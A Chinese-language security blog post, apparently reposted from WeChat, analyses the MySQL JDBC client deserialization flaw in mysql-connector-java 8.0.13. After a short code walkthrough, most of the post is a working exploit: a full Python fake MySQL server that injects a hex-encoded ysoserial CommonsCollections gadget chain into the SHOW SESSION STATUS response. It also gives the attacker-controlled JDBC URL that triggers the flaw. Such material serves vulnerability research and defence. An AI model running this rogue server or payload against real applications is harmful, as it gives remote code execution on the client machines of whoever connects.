漏洞简介
MYSQL JDBC的反序列化利用链，原理是在使用MYSQL JDBC连接数据库的时候，会执行几个内置的sql查询语句，其中SHOW SESSION STATUS和SHOW COLLATION两个查询的结果集在MySQL客户端被处理时会调用ObjectInputStream.readObject()进行反序列化操作,如果攻击者搭建恶意MySQL服务器来控制这两个查询的结果集，如果JDBC连接是可控的，那么就能触发MySQL JDBC客户端反序列化漏洞。
漏洞细节分析
首先来看一张图，本漏洞其实就是服务器响应结果给客户端，客户端会进行反序列化从而造成反序列化漏洞
<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version></dependency><dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId><version>8.0.13</version></dependency>
首先关注 com.mysql.cj.jdbc.result.ResultSetImpl#getObejct方法
public Object getObject(int columnIndex) throws SQLException {try {this.checkRowPos();this.checkColumnBounds(columnIndex);int columnIndexMinusOne = columnIndex - 1;if (this.thisRow.getNull(columnIndexMinusOne)) {return null;} else {Field field = this.columnDefinition.getFields()[columnIndexMinusOne];switch(field.getMysqlType()) {case BIT:if (!field.isBinary() && !field.isBlob()) {return field.isSingleBit() ? this.getBoolean(columnIndex) : this.getBytes(columnIndex);} else {//获取响应的数据byte[] data = this.getBytes(columnIndex);//autoDeserialize是否为trueif (!(Boolean)this.connection.getPropertySet().getBooleanProperty("autoDeserialize").getValue()) {return data;} else {Object obj = data;if (data != null && data.length >= 2) {if (data[0] != -84 || data[1] != -19) {return this.getString(columnIndex);}try {//readObjectByteArrayInputStream bytesIn = new ByteArrayInputStream(data);ObjectInputStream objIn = new ObjectInputStream(bytesIn);obj = objIn.readObject();objIn.close();bytesIn.close();} catch (ClassNotFoundException var13) {throw SQLError.createSQLException(Messages.getString("ResultSet.Class_not_found___91") + var13.toString() + Messages.getString("ResultSet._while_reading_serialized_object_92"), this.getExceptionInterceptor());} catch (IOException var14) {obj = data;}}return obj;}}case BOOLEAN:return this.getBoolean(columnIndex);case TINYINT:return Integer.valueOf(this.getByte(columnIndex));case TINYINT_UNSIGNED:case SMALLINT:case SMALLINT_UNSIGNED:case MEDIUMINT:case MEDIUMINT_UNSIGNED:case INT:return this.getInt(columnIndex);case INT_UNSIGNED:case BIGINT:return this.getLong(columnIndex);case BIGINT_UNSIGNED:return this.getBigInteger(columnIndex);case DECIMAL:case DECIMAL_UNSIGNED:String stringVal = this.getString(columnIndex);if (stringVal != null) {if (stringVal.length() == 0) {return new BigDecimal(0);}try {return new BigDecimal(stringVal);} catch (NumberFormatException var12) {throw SQLError.createSQLException(Messages.getString("ResultSet.Bad_format_for_BigDecimal", new Object[]{stringVal, columnIndex}), "S1009", this.getExceptionInterceptor());}}return null;case FLOAT:case FLOAT_UNSIGNED:return new Float(this.getFloat(columnIndex));case DOUBLE:case DOUBLE_UNSIGNED:return new Double(this.getDouble(columnIndex));case CHAR:case ENUM:case SET:case VARCHAR:case TINYTEXT:return this.getString(columnIndex);case TEXT:case MEDIUMTEXT:case LONGTEXT:case JSON:return this.getStringForClob(columnIndex);case GEOMETRY:return this.getBytes(columnIndex);case BINARY:case VARBINARY:case TINYBLOB:case MEDIUMBLOB:case LONGBLOB:case BLOB:if (!field.isBinary() && !field.isBlob()) {return this.getBytes(columnIndex);} else {byte[] data = this.getBytes(columnIndex);if (!(Boolean)this.connection.getPropertySet().getBooleanProperty("autoDeserialize").getValue()) {return data;} else {Object obj = data;if (data != null && data.length >= 2) {if (data[0] != -84 || data[1] != -19) {return this.getString(columnIndex);}try {ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);ObjectInputStream objIn = new ObjectInputStream(bytesIn);obj = objIn.readObject();objIn.close();bytesIn.close();} catch (ClassNotFoundException var10) {throw SQLError.createSQLException(Messages.getString("ResultSet.Class_not_found___91") + var10.toString() + Messages.getString("ResultSet._while_reading_serialized_object_92"), this.getExceptionInterceptor());} catch (IOException var11) {obj = data;}}return obj;}}case YEAR:return this.yearIsDateType ? this.getDate(columnIndex) : this.getShort(columnIndex);case DATE:return this.getDate(columnIndex);case TIME:return this.getTime(columnIndex);case TIMESTAMP:case DATETIME:return this.getTimestamp(columnIndex);default:return this.getString(columnIndex);}}} catch (CJException var15) {throw SQLExceptionsMapping.translateException(var15, this.getExceptionInterceptor());}}
目前readObject找到了。
在ServerStatusDiffInterceptor拦截器中发现了，客户端首先会发送语句给服务端，获取服务端的响应数据并放到resultSetTopMap中。
stmt = this.connection.createStatement();rs = stmt.executeQuery("SHOW SESSION STATUS");ResultSetUtil.resultSetToMap(toPopulate, rs);
而最终会调用到getObject中。
这里本人没有深入研究Mysql的协议相关，只是粗略看了一下。
直接拿出现成的服务端即可。
import socketimport binasciiimport osgreeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"response_ok_data="0700000200000002000000"def receive_data(conn):data = conn.recv(1024)print("[*] Receiveing the package : {}".format(data))return str(data).lower()def send_data(conn,data):print("[*] Sending the package : {}".format(data))conn.send(binascii.a2b_hex(data))def get_payload_content():#file文件的内容使用ysoserial生成的 使用规则 java -jar ysoserial [common7那个] "calc" > afile= r'a'if os.path.isfile(file):with open(file, 'rb') as f:payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')print("open successs")else:print("open false")#calcpayload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'return payload_content# 主要逻辑def run():while 1:conn, addr = sk.accept()print("Connection come from {}:{}".format(addr[0],addr[1]))# 1.先发送第一个 问候报文send_data(conn,greeting_data)while True:# 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_okreceive_data(conn)send_data(conn,response_ok_data)#其他过程data=receive_data(conn)#查询一些配置信息,其中会发送自己的 版本号if "session.auto_increment_increment" in data:_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'send_data(conn,_payload)data=receive_data(conn)elif "show warnings" in data:_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'send_data(conn, _payload)data = receive_data(conn)if "set names" in data:send_data(conn, response_ok_data)data = receive_data(conn)if "set character_set_results" in data:send_data(conn, response_ok_data)data = receive_data(conn)if "show session status" in data:mysql_data = '0100000102'mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'# 为什么我加了EOF Packet 就无法正常运行呢？？#获取payloadpayload_content=get_payload_content()#计算payload长度payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)payload_length_hex = payload_length[2:4] + payload_length[0:2]#计算数据包长度data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hexmysql_data += str(payload_content)mysql_data += '07000005fe000022000100'send_data(conn, mysql_data)data = receive_data(conn)if "show warnings" in data:payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'send_data(conn, payload)breakif __name__ == '__main__':HOST ='0.0.0.0'PORT = 3309sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)#当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)sk.bind((HOST, PORT))sk.listen(1)print("start fake mysql server listening on {}:{}".format(HOST,PORT))run()
客户端代码，可以看见queryInterceptors为ServerStatusDiffInterceptor拦截器这个类路径，这样写的话，就会调用到该拦截器postProcess中并进行后续执行
public static void main( String[] args ) throws ClassNotFoundException, SQLException {Class.forName("com.mysql.jdbc.Driver");String jdbc_url = "jdbc:mysql://127.0.0.1:3309/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";Connection con = DriverManager.getConnection(jdbc_url);}
END
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原文始发于微信公众号（银河护卫队super）：Mysql jdbc反序列化分析
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